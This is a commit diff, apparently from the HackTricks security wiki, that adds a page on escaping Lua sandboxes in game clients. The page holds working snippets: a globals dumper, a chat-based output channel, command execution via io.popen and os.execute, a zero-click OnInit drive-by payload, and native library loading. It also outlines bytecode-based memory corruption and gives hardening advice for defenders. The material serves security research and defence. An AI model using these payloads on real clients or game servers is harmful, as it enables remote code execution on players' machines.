Skip to content

Commit 8352a3e

Browse files
authored
Merge branch 'master' into update_Cache_Me_If_You_Can__Sitecore_Experience_Platform__20250829_183502
2 parents c09b076 + 400b46b commit 8352a3e

File tree

3 files changed

+128
-0
lines changed

3 files changed

+128
-0
lines changed

src/SUMMARY.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -80,6 +80,8 @@
8080
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
8181
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
8282
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
83+
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
84+
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
8385

8486
# 🧙‍♂️ Generic Hacking
8587

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
# Bypass Lua sandboxes (embedded VMs, game clients)
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
This page collects practical techniques to enumerate and break out of Lua "sandboxes" embedded in applications (notably game clients, plugins, or in-app scripting engines). Many engines expose a restricted Lua environment, but leave powerful globals reachable that enable arbitrary command execution or even native memory corruption when bytecode loaders are exposed.
6+
7+
Key ideas:
8+
- Treat the VM as an unknown environment: enumerate _G and discover what dangerous primitives are reachable.
9+
- When stdout/print is blocked, abuse any in-VM UI/IPC channel as an output sink to observe results.
10+
- If io/os is exposed, you often have direct command execution (io.popen, os.execute).
11+
- If load/loadstring/loadfile are exposed, executing crafted Lua bytecode can subvert memory safety in some versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), enabling advanced exploitation.
12+
13+
## Enumerate the sandboxed environment
14+
15+
- Dump the global environment to inventory reachable tables/functions:
16+
17+
```lua
18+
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
19+
local function dump_globals(out)
20+
out("=== DUMPING _G ===")
21+
for k, v in pairs(_G) do
22+
out(tostring(k) .. " = " .. tostring(v))
23+
end
24+
end
25+
```
26+
27+
- If no print() is available, repurpose in-VM channels. Example from an MMO housing script VM where chat output only works after a sound call; the following builds a reliable output function:
28+
29+
```lua
30+
-- Build an output channel using in-game primitives
31+
local function ButlerOut(label)
32+
-- Some engines require enabling an audio channel before speaking
33+
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
34+
return function(msg)
35+
H.Say(label or 1, msg)
36+
end
37+
end
38+
39+
function OnMenu(menuNum)
40+
if menuNum ~= 3 then return end
41+
local out = ButlerOut(1)
42+
dump_globals(out)
43+
end
44+
```
45+
46+
Generalize this pattern for your target: any textbox, toast, logger, or UI callback that accepts strings can act as stdout for reconnaissance.
47+
48+
## Direct command execution if io/os is exposed
49+
50+
If the sandbox still exposes the standard libraries io or os, you likely have immediate command execution:
51+
52+
```lua
53+
-- Windows example
54+
io.popen("calc.exe")
55+
56+
-- Cross-platform variants depending on exposure
57+
os.execute("/usr/bin/id")
58+
io.popen("/bin/sh -c 'id'")
59+
```
60+
61+
Notes:
62+
- Execution happens inside the client process; many anti-cheat/antidebug layers that block external debuggers won’t prevent in-VM process creation.
63+
- Also check: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
64+
65+
## Zero-click triggers via auto-run callbacks
66+
67+
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
68+
69+
```lua
70+
function OnInit()
71+
io.popen("calc.exe") -- or any command
72+
end
73+
```
74+
75+
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
76+
77+
## Dangerous primitives to hunt during recon
78+
79+
During _G enumeration, specifically look for:
80+
- io, os: io.popen, os.execute, file I/O, env access.
81+
- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
82+
- package, package.loadlib, require: dynamic library loading and module surface.
83+
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
84+
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
85+
86+
Minimal usage examples (if reachable):
87+
88+
```lua
89+
-- Execute source/bytecode
90+
local f = load("return 1+1")
91+
print(f()) -- 2
92+
93+
-- loadstring is alias of load for strings in 5.1
94+
local bc = string.dump(function() return 0x1337 end)
95+
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
96+
print(g())
97+
98+
-- Load native library symbol (if allowed)
99+
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
100+
local foo = mylib()
101+
```
102+
103+
## Optional escalation: abusing Lua bytecode loaders
104+
105+
When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
106+
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
107+
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
108+
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
109+
110+
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
111+
112+
## Detection and hardening notes (for defenders)
113+
114+
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
115+
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
116+
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
117+
118+
## References
119+
120+
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
121+
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
122+
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
123+
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
124+
125+
{{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44

55
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
66

7+
78
## Command Execution Libraries
89

910
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

0 commit comments

Comments
 (0)